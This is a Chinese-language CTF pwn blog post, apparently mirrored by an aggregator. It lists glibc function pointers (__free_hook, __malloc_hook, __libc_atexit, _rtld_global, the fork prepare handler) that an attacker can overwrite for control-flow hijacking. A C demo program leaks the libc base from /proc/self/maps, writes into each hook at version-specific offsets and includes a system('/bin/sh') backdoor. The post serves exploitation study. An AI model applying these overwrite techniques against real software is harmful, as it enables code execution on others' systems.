1

CTF Pwn 题中 libc 可用 函数指针 (攻击位置) 整理

 2 years ago
source link: https://xuanxuanblingbling.github.io/ctf/pwn/2021/05/31/libc/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

CTF Pwn 题中 libc 可用 函数指针 (攻击位置) 整理

发表于 2021-05-31

| 分类于 CTF/Pwn

更新中…在内存破坏漏洞的攻击过程中,攻击者的最终目标一般来说是控制流劫持。如果攻击者能获得一个任意地址写(aaw)的能力,则之后的需要做的就是修改的在间接跳转过程中被使用的关键数据。首先能想到的就是函数指针,因为其内容就是间接跳转的目标地址。另外还有可能是对间接跳转的起着间接影响的数据,比如多级指针、数组索引等,不过落到最后仍然是函数指针。攻击大流程走到这步,攻击这个动词的宾语就变成了某个数据、变量、内存位置,比如攻击__free_hook。本文对CTF Pwn题中 常见的 位于libc中的 可以被攻击者利用进行控制流劫持的 函数指针 以及 触发方式 进行了整理。

攻击变量 触发函数
__free_hook free()
__malloc_hook malloc()
__realloc_hook realloc()
__libc_atexit exit()
_rtld_global exit()
prepare_handler fork()
  1. 攻击的数据本身就是函数指针:没啥说的直接改就行。
  2. 攻击数据本身是多级指针,需要多级解引用后才能真正触发到间跳转:攻击多级指针本体并构造指针指向的合法数据,如果直接攻击最终有效的间接跳转,则退化为1。
  3. 攻击数据本身是指针链表的索引:攻击索引,使其索引计算完成后为劫持地址,如果直接攻击指针链表,则退化为1。
# include <stdio.h>
# include <sys/types.h>
# include <sys/stat.h>
# include <fcntl.h>
# include <unistd.h>
# include <sys/mman.h>
# include <string.h>
# include <stdlib.h>

void backdoor(){
    system("/bin/sh");
}

long long * get_addr(char * pattern){
    char buf [0x1000] = {0};
    read(open("/proc/self/maps",0),buf,0x1000);

    char * tmp = strtok(buf, "\n");
    while (tmp)
    {   
        if(strstr(tmp,pattern)){
            long long * leak_addr;
            sscanf(tmp,"%p",&leak_addr);
            return leak_addr;
        }
        tmp = strtok(NULL, "\n");
    }
}

void aaw(long long *addr,long long data){
    * addr = data;
}


void attack_malloc_hook(){
     // address information
     long long   * libc_base   =   get_addr("libc-2.23.so");
     long long     malloc_hook =   0x3c4b10 / 8;

     // attack
     aaw(libc_base + malloc_hook , 0xdeadbeefdeadbeef) ;

     // trigger
     // printf("%s",0x400000); //printf also can trigger malloc
     malloc(10);
     
}
void attack_realloc_hook(){
     // address information
     long long   * libc_base   =   get_addr("libc-2.23.so");
     long long     malloc_hook =   0x3c4b08 / 8;

     // attack
     aaw(libc_base + malloc_hook , 0xdeadbeefdeadbeef) ;

     // trigger
     realloc(0,0);
}
void attack_free_hook(){
    // https://lantern.cool/note-pwn-free-hook/
    // address information
    long long   * libc_base   =   get_addr("libc-2.23.so");
    long long     free_hook   =   0x3c67a8 / 8;

    // attack
    aaw(libc_base + free_hook ,   0xdeadbeefdeadbeef) ;

    // trigger
    free("");
}
void attack_libc_atexit(){
    // https://xz.aliyun.com/t/6260
    // ubuntu version >= 19 

    // address information
    // ubuntu 16.04 glibc 2.23 __libc_atexit 0x3c08d8 read only
    // ubuntu 18.04 glibc 2.27 __libc_atexit 0x3e7738 read only
    long long   * libc_base   =   get_addr("libc-2.31");
    long long     libc_atexit =   0x1ed608 / 8;

    // attack
    aaw(libc_base + libc_atexit , 0xdeadbeefdeadbeef) ;

    // trigger
    exit(0);
}
void attack_rtld_global(){
    //  https://www.cnblogs.com/bhxdn/p/14222558.html
    //  libc-2.23 _rtld_global:0x5f0040   __rtld_lock_lock_recursive: 3848  __rtld_lock_unlock_recursive: 3856
    //  libc-2.27 _rtld_global:0x619060   __rtld_lock_lock_recursive: 3840  __rtld_lock_unlock_recursive: 3848
    //  libc-2.31 _rtld_global:0x23e060   __rtld_lock_lock_recursive: 3848  __rtld_lock_unlock_recursive: 3856

    // address information
    long long   * libc_base      =  get_addr("libc-2.31");
    long long     libc_exit_rtld =  (0x23e060+3848) / 8;

    // attack
    aaw(libc_base + libc_exit_rtld , 0xdeadbeefdeadbeef) ;

    // trigger
    exit(0);
}
void attack_fork_prepare_handler(){
    // https://xuanxuanblingbling.github.io/ctf/pwn/2019/10/14/warmup/
    // prepare: address information and payload ptr
    long long   * libc_base   =   get_addr("libc-2.23.so");
    long long     fork_ptr    =   0x3c9748 / 8;
    long long     payload[6]  =   {0,0xdeadbeefdeadbeef,0,0,0,1};

    // attack
    aaw(libc_base + fork_ptr , payload) ;

    // trigger
    fork();
}

int main(){
    attack_free_hook();
}

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK